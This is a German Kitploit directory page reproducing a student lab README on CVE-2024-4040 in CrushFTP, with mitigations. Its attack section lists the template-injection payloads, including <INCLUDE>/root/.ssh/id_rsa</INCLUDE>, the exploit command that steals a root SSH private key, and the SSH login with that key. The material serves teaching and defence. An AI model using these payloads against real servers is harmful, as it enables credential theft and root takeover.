Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CrushFTP-CVE-2024-4040-Proof-of-Concept — Proof-of-Concept-Exploit für CVE-2024-4040, der nicht authentifizierte SSTI und lokales Dateilesen in CrushFTP demonstriert, mit Docker-Lab und Minderungsstrategien. | Kitploit
Tools/GitHubGitHub/sidjaz/crushftp-cve-2024-4040-proof-of-concept
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubsidjaz/crushftp-cve-2024-4040-proof-of-concept

CrushFTP-CVE-2024-4040-Proof-of-Concept

Proof-of-Concept-Exploit für CVE-2024-4040, der nicht authentifizierte SSTI und lokales Dateilesen in CrushFTP demonstriert, mit Docker-Lab und Minderungsstrategien.

Repository anzeigen
5vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-4040 Schwachstelle — CrushFTP SSTI / LFI Proof of Concept

Nur für Bildungs- und autorisierte Laborzwecke.
Für das Modul CS443 Software and Systems Security. Das Labor wurde in einer kontrollierten lokalen Docker-Umgebung durchgeführt.


Schwachstellenübersicht

FeldDetail
CVECVE-2024-4040
Betroffene SoftwareCrushFTP < 10.7.1 (v10-Zweig) / < 11.1.0 (v11-Zweig)
SchwachstellentypServer-Side Template Injection (SSTI) → Nicht authentifiziertes Lesen lokaler Dateien
CVSS-Score9,8 Kritisch
AuswirkungNicht authentifizierte Angreifer können beliebige Dateien vom Server-Dateisystem lesen

CrushFTPs WebInterface wertet Template-Ausdrücke im path-Parameter des zip-Befehls ohne Bereinigung aus. Ein nicht authentifizierter Angreifer kann anonyme Session-Cookies erlangen und diese dann verwenden, um Template-Payloads ({working_dir}, <INCLUDE>…</INCLUDE>) zu übergeben, die vom Server ausgewertet und zurückgegeben werden – was das Lesen beliebiger Dateien auf dem Host ermöglicht.


Laborumgebung

KomponenteWert
Zielhttp://localhost:8080
Basis-PoC CrushFTP-Version10.3.0 (absichtlich verwundbar)
Testumgebung Mitigation 3Separater Container mit CrushFTP 11.x (gepatchter Zweig)
SSH-Port (Container)2222 → 22
Admin-Zugangsdatenadmin / admin
Container-LaufzeitDocker (Compose)

Voraussetzungen

root@kitploit:~
pip install requests rich

Skripte

SkriptQuelleZweck
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCVollständiger SSTI/LFI-Exploit – Session-Diebstahl, beliebiges Dateilesen
recon.pyDieses RepositoryVersionserkennung, Live-SSTI-Test, Schwachstellenbestätigung

Proof of Concept – Ablauf

Schritt 1 — Labor starten

root@kitploit:~
docker-compose up -d

Warten Sie ~10 Sekunden, bis CrushFTP vollständig initialisiert ist, bevor Sie die Skripte ausführen. Hier ist kein separater Recon-Schritt erforderlich, da crushed.py bereits während der Ausführung prüft, ob ein Exploit möglich ist.


Schritt 2 — SSH-Private-Key per LFI stehlen

root@kitploit:~
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

Das Skript wird:

  1. Eine anonyme CrushAuth / currentAuth-Session von /WebInterface/ abrufen
  2. SSTI nutzen, um die Template-Auswertung zu bestätigen und den Server-Hostnamen preiszugeben
  3. {working_dir} verwenden, um das CrushFTP-Installationsverzeichnis zu ermitteln
  4. <INCLUDE>/root/.ssh/id_rsa</INCLUDE> verwenden, um die Zieldatei zu lesen
  5. Den rohen Dateiinhalt auf stdout ausgeben

Kopieren Sie den Private-Key-Block aus der Ausgabe (alles von -----BEGIN OPENSSH PRIVATE KEY----- bis -----END OPENSSH PRIVATE KEY-----).


Schritt 3 — Gestohlenen Schlüssel speichern

root@kitploit:~
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<Schlüssel aus Ausgabe einfügen>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Schritt 4 — Per SSH als Root in den Container einloggen

root@kitploit:~
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Schritt 5 — Root-Zugriff bestätigen

root@kitploit:~
whoami
# Erwartet: root

id
# Erwartet: uid=0(root) gid=0(root) groups=0(root)

hostname
# Erwartet: <container_id>

Angriffsketten-Diagramm

root@kitploit:~
Nicht authentifizierter Angreifer
        │
        ▼
GET /WebInterface/          ← erhält anonyme CrushAuth + currentAuth-Cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI bestätigt – Template wird vom Server ausgewertet
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← gibt absoluten Installationspfad preis
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← beliebiges Dateilesen
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← vollständige Root-Shell

Bekannte Probleme in crushed.py

ProblemPositionDetails
Fehlende AbhängigkeitZeile 6–9Erfordert pip install rich vor der Ausführung
Fehleranfälliges XML-ParsingZeilen 86, 140Stürzt bei nicht-XML-Serverantworten ab; keine ParseError-Behandlung
Token-Regex zu strengZeilen 160–161CrushAuth=…; currentAuth=…-Muster passt möglicherweise nicht auf alle sessions.obj-Formate
Nur HTTP 404Zeile 53Cookie-Abruf gelingt nur bei 404; schlägt bei anderen Statuscodes still fehl

Minderungsstrategien

Minderung 1 — Web Application Firewall (NGINX + ModSecurity)

Übersicht

Eine WAF fungiert als Reverse-Proxy, der eingehenden HTTP/S-Datenverkehr prüft, bevor er CrushFTP erreicht. Mit NGINX und ModSecurity werden bösartige Anfragen, die CVE-2024-4040 ausnutzen, an der Netzwerkgrenze blockiert, ohne CrushFTP selbst zu ändern.

Wie es CVE-2024-4040 mindert

  • Blockiert Pfad-Traversal-Muster (z. B. ../, %2e%2e) in Anfrage-URIs und Cookies
  • Verhindert, dass nicht authentifizierte VFS-Escape-Anfragen CrushFTP erreichen
  • Protokolliert und verweigert verdächtige Payloads, bevor sie die Anwendung erreichen

Docker-Setup

Verwenden Sie Mitigation 1/docker-compose.yaml:

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX-Konfiguration

Verwenden Sie Mitigation 1/nginx.conf:

root@kitploit:~
worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # ModSecurity aktivieren
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Gesamten Datenverkehr an CrushFTP proxen
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # 403 für blockierte Anfragen zurückgeben
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Datenfluss

root@kitploit:~
Angreifer -> NGINX WAF (Port 80) -> blockiert bösartig -> 403 Forbidden
                             -> leitet sauber weiter -> CrushFTP:8080

Einschränkungen

  • Behebt nicht die Ursache – CrushFTP bleibt verwundbar, wenn die WAF umgangen wird
  • Erfordert Regelaktualisierungen, wenn Angreifer Verschleierungstechniken entwickeln

Minderung 2 — Anonymen Benutzerzugriff deaktivieren

Übersicht

CVE-2024-4040 ist ohne Authentifizierung ausnutzbar. In diesem Labor wird der anonyme Zugriff auf NGINX-Ebene blockiert, indem vor dem Proxy für sensible Routen zu CrushFTP ein Authorization-Header erforderlich ist.

Wie es CVE-2024-4040 mindert

  • Exploit-Skripte wie crushed.py sind auf nicht authentifizierten Zugriff angewiesen; Anfragen ohne Anmeldedaten werden mit 401 abgelehnt
  • Anfragen an /WebInterface/ und / werden verweigert, sofern keine Authentifizierungsdaten vorhanden sind
  • Reduziert die Exposition verwundbarer Endpunkte gegenüber nicht authentifizierten Benutzern

Docker-Setup (Exakt aus Mitigation 2/docker-compose.yaml)

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX-Richtlinie (Exakt aus Mitigation 2/nginx.conf)

root@kitploit:~
events {}
http {
  server {
    listen 80;

    # Statische Assets ohne Authentifizierung erlauben
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Nicht authentifizierten Zugriff auf WebInterface blockieren
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Alles andere ohne Authentifizierung blockieren
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

Über Docker überprüfen

root@kitploit:~
# Bestätigen, dass die nicht authentifizierte Anfrage von NGINX abgelehnt wird
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Erwartet: 401 Unauthorized

# Optional: authentifizierte Anfrage sollte weitergeleitet werden
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

Einschränkungen

  • Behebt nicht die zugrunde liegende Schwachstelle; authentifizierte Benutzer könnten weiterhin gefährdet sein, wenn die Exploit-Logik angepasst wird
  • Die Durchsetzung hängt von der Proxy-Platzierung und korrekten Header-Behandlung vor CrushFTP ab

Minderung 3 — Update auf CrushFTP Version 11

Übersicht

Ein Upgrade auf CrushFTP 11 ist die effektivste und dauerhafte Lösung. Der Patch fügt strenge Eingabevalidierung bei der VFS-Pfadauflösung hinzu und beseitigt so die Ursache von CVE-2024-4040.

Wie es CVE-2024-4040 mindert

  • Erzwingt strikte Sandboxing von VFS-Pfaden – Escape-Versuche werden auf Anwendungsebene abgewiesen
  • Exploit-Skripte wie crushed.py funktionieren gegen Version 11 nicht mehr
  • Die Behebung erfolgt auf Quellcode-Ebene, nicht durch externe Kontrollen maskiert

Implementierung

Aktualisieren Sie Ihr Dockerfile, um CrushFTP 11 zu verwenden:

root@kitploit:~
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

Container neu erstellen:

root@kitploit:~
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

Überprüfen, ob der Patch funktioniert

root@kitploit:~
# Exploit gegen v11 ausführen – sollte fehlschlagen
# Hinweis: Das Skript dieses Repositories verwendet -t/--target.
python3 crushed.py -t http://localhost:8080

# Erwartet: Exploit gibt keine Ausgabe oder Verbindungsfehler zurück
Tool herunterladen